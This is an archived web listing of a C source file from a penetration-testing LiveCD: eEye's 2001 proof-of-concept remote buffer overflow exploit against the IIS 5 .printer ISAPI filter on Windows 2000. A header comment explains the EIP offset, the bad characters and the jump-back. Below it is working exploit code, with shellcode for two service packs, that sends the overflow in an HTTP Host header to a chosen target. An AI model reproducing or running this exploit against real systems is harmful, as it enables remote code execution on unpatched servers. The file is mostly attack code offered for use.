home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / iishack2000.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  150 lines

  1. /***********************************************************************
  2. iishack 2000 - eEye Digital Security - 2001
  3. This affects all unpatched windows 2000 machines with the .printer
  4. isapi filter loaded.  This is purely proof of concept.
  5.  
  6. Quick rundown of the exploit:
  7.     
  8. Eip overruns at position 260
  9. i have 19 bytes of code to jump back to the beginning of the buffer.
  10. (and a 4 byte eip jumping into a jmp esp located in mfc42.dll).  The 
  11. jumpback was kinda weird, requiring a little forward padding to protect 
  12. the rest of the code.
  13.     
  14. The buffer itself:
  15. Uou only have about 250ish bytes before the overflow(taking into 
  16. account the eip and jumpback), and like 211 after it.  this makes
  17. things tight.  This is why i hardcoded the offsets and had 2 shellcodes,
  18. one for each revision.  normally, this would suck, but since iis is kind
  19. to us, it cleanly restarts itself if we blow it, giving us another chance.
  20.  
  21. This should compile clean on windows, linux and *bsd.  Other than that, you 
  22. are on your own, but the vector is a simple tcp vector, so no biggie.
  23.  
  24. The vector:
  25.  
  26. the overflow happens in the isapi handling the .printer extension.  The actual
  27. overflow is in the Host: header.  This buffer is a bit weird, soi be carfull 
  28. what you pass into it.  It has a minimal amount of parsing happening before 
  29. we get it, making some chars not able to be used(or forcing you to encode 
  30. your payload).  As far as i can tell, the bad bytes i've come across are:
  31.  
  32. 0x00(duh)
  33. 0x0a(this inits a return, basically flaking our buffer)
  34. 0x0d(same as above)
  35. 0x3a(colon: - this seems to be a separator of some kind, didn't have time or 
  36.     energy to reverse it any further,  it breaks stuff, keep it out of 
  37.     your buffer)
  38.     
  39. i have a feeling that there are more bad chars, but in the shellcode i've written
  40. (both this proof of concept and actual port binding shellcode),  i've come across
  41. problems, but haven't specifically tagged a "bad" char.
  42.  
  43.  
  44. One more thing...  inititally, i got this shellcode to fit on the left side of 
  45. the buffer overflow.  something strange was causing it to fail if i had a length 
  46. of under about 315 chars.  This seems strange to me, but it could be soemthing i 
  47. just screwed up writing this code.  This explains the 0x03s padding the end of the
  48. shellcode.
  49.     
  50. Ryan Permeh
  51. ryan@eeye.com
  52.  
  53. greetz: riley, for finding the hole
  54.     marc, for being a cool boss
  55.     dale,nicula,firas, for being pimps
  56.     greg hoglund, for sparking some really interesting ideas on exploitable buffers
  57.     dark spyrit, for beginning the iis hack tradition
  58.     I would also like to thank the academy and to all of those who voted....
  59.     http://www.eeye.com/html/research/Advisories/tequila.jpg
  60. *************************************************************************/
  61.  
  62.  
  63.  
  64.  
  65. #ifdef _WIN32
  66. #include <Winsock2.h>
  67. #include <Windows.h>
  68. #define snprintf _snprintf
  69. #else
  70. #include <sys/types.h>
  71. #include <sys/socket.h>
  72. #include <netinet/in.h>
  73. #include <netdb.h>
  74. #endif
  75. #include <stdio.h>
  76.  
  77. void usage();
  78. unsigned char GetXORValue(char *szBuff, unsigned long filesize);
  79.  
  80.  
  81. unsigned char sc[2][315]={    "\x8b\xc4\x83\xc0\x11\x33\xc9\x66\xb9\x20\x01\x80\x30\x03\x40\xe2\xfa\xeb\x03\x03\x03\x03\x5c\x88\xe8\x82\xef\x8f\x09\x03\x03\x44\x80\x3c\xfc\x76\xf9\x80\xc4\x07\x88\xf6\x30\xca\x83\xc2\x07\x88\x04\x8a\x05\x80\xc5\x07\x80\xc4\x07\xe1\xf7\x30\xc3\x8a\x3d\x80\xc5\x07\x80\xc4\x17\x8a\x3d\x80\xc5\x07\x30\xc3\x82\xc4\xfc\x03\x03\x03\x53\x6b\x83\x03\x03\x03\x69\x01\x53\x53\x6b\x03\x03\x03\x43\xfc\x76\x13\xfc\x56\x07\x88\xdb\x30\xc3\x53\x54\x69\x48\xfc\x76\x17\x50\xfc\x56\x0f\x50\xfc\x56\x03\x53\xfc\x56\x0b\xfc\xfc\xfc\xfc\xcb\xa5\xeb\x74\x8e\x28\xea\x74\xb8\xb3\xeb\x74\x27\x49\xea\x74\x60\x39\x5f\x74\x74\x74\x2d\x66\x46\x7a\x66\x2d\x60\x6c\x6e\x2d\x77\x7b\x77\x03\x6a\x6a\x70\x6b\x62\x60\x68\x31\x68\x23\x2e\x23\x66\x46\x7a\x66\x23\x47\x6a\x64\x77\x6a\x62\x6f\x23\x50\x66\x60\x76\x71\x6a\x77\x7a\x0e\x09\x23\x45\x6c\x71\x23\x67\x66\x77\x62\x6a\x6f\x70\x23\x75\x6a\x70\x6a\x77\x39\x23\x4b\x77\x77\x73\x39\x2c\x2c\x74\x74\x74\x2d\x66\x46\x7a\x66\x2d\x60\x6c\x6e\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x90\x90\x90\x90\x90\x90\x90\x90\xcb\x4a\x42\x6c\x90\x90\x90\x90\x66\x81\xec\x14\x01\xff\xe4\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x00", 
  82.                 "\x8b\xc4\x83\xc0\x11\x33\xc9\x66\xb9\x20\x01\x80\x30\x03\x40\xe2\xfa\xeb\x03\x03\x03\x03\x5c\x88\xe8\x82\xef\x8f\x09\x03\x03\x44\x80\x3c\xfc\x76\xf9\x80\xc4\x07\x88\xf6\x30\xca\x83\xc2\x07\x88\x04\x8a\x05\x80\xc5\x07\x80\xc4\x07\xe1\xf7\x30\xc3\x8a\x3d\x80\xc5\x07\x80\xc4\x17\x8a\x3d\x80\xc5\x07\x30\xc3\x82\xc4\xfc\x03\x03\x03\x53\x6b\x83\x03\x03\x03\x69\x01\x53\x53\x6b\x03\x03\x03\x43\xfc\x76\x13\xfc\x56\x07\x88\xdb\x30\xc3\x53\x54\x69\x48\xfc\x76\x17\x50\xfc\x56\x0f\x50\xfc\x56\x03\x53\xfc\x56\x0b\xfc\xfc\xfc\xfc\x50\x33\xeb\x74\xf7\x86\xeb\x74\x2e\xf0\xeb\x74\x4c\x30\xeb\x74\x60\x39\x5f\x74\x74\x74\x2d\x66\x46\x7a\x66\x2d\x60\x6c\x6e\x2d\x77\x7b\x77\x03\x6a\x6a\x70\x6b\x62\x60\x68\x31\x68\x23\x2e\x23\x66\x46\x7a\x66\x23\x47\x6a\x64\x77\x6a\x62\x6f\x23\x50\x66\x60\x76\x71\x6a\x77\x7a\x0e\x09\x23\x45\x6c\x71\x23\x67\x66\x77\x62\x6a\x6f\x70\x23\x75\x6a\x70\x6a\x77\x39\x23\x4b\x77\x77\x73\x39\x2c\x2c\x74\x74\x74\x2d\x66\x46\x7a\x66\x2d\x60\x6c\x6e\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x90\x90\x90\x90\x90\x90\x90\x90\xcb\x4a\x42\x6c\x90\x90\x90\x90\x66\x81\xec\x14\x01\xff\xe4\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x00"};
  83.  
  84. main (int argc, char *argv[])
  85. {
  86.     char request_message[500];
  87.     int X,sock,sp=0;
  88.     unsigned short serverport=htons(80);
  89.     struct hostent *nametocheck;
  90.     struct sockaddr_in serv_addr;
  91.     struct in_addr attack;
  92. #ifdef _WIN32
  93.     WORD werd;
  94.     WSADATA wsd;
  95.     werd= MAKEWORD(2,0);
  96.     WSAStartup(werd,&wsd);
  97. #endif
  98.     printf("iishack2000 - Remote .printer overflow in 2k sp0 and sp1\n");
  99.     printf("Vulnerability found by Riley Hassell <riley@eeye.com>\n");
  100.     printf("Exploit by Ryan Permeh <ryan@eeye.com>\n");
  101.     if(argc < 4) usage();
  102.     if(argv[1] != NULL)
  103.     {
  104.         nametocheck = gethostbyname (argv[1]);
  105.         memcpy(&attack.s_addr,nametocheck->h_addr_list[0],4);
  106.     }
  107.     else usage();    
  108.     if(argv[2] != NULL)
  109.     {
  110.         serverport=ntohs((unsigned short)atoi(argv[2]));
  111.     }    
  112.     if(argv[3] != NULL)
  113.     {
  114.         sp=atoi(argv[3]);
  115.     }    
  116.     printf("Sending string to overflow sp %d for host: %s on port:%d\n",sp,inet_ntoa(attack),htons(serverport));
  117.     memset(request_message,0x00,500);
  118.     snprintf(request_message,500,"GET /null.printer HTTP/1.1\r\nHost: %s\r\n\r\n",sc[sp]);
  119.     sock = socket (AF_INET, SOCK_STREAM, 0);
  120.     memset (&serv_addr, 0, sizeof (serv_addr));
  121.     serv_addr.sin_family=AF_INET;
  122.     serv_addr.sin_addr.s_addr = attack.s_addr;
  123.     serv_addr.sin_port = serverport;
  124.     X=connect (sock, (struct sockaddr *) &serv_addr, sizeof (serv_addr));
  125.     if(X==0)
  126.     {
  127.         send(sock,request_message,strlen(request_message)*sizeof(char),0);
  128.         printf("Sent overflow, now look on the c: drive of %s for www.eEye.com.txt\n",inet_ntoa(attack));
  129.         printf("If the file doesn't exist, the server may be patched,\nor may be a different service pack (try again with %d as the service pack)\n",sp==0?1:0);        
  130.     }
  131.     else
  132.     {
  133.         printf("Couldn't connect\n",inet_ntoa(attack));
  134.     }
  135. #ifdef _WIN32
  136.     closesocket(sock); 
  137. #else
  138.     close(sock);
  139. #endif
  140.     return 0;
  141. }
  142. void usage()
  143. {
  144.     printf("Syntax:     iishack2000 <hostname> <server port> <service pack>\n");
  145.     printf("Example: iishack2000 127.0.0.1 80 0\n");
  146.     printf("Example: iishack2000 127.0.0.1 80 1\n");    
  147.     exit(1);
  148. }
  149.  
  150.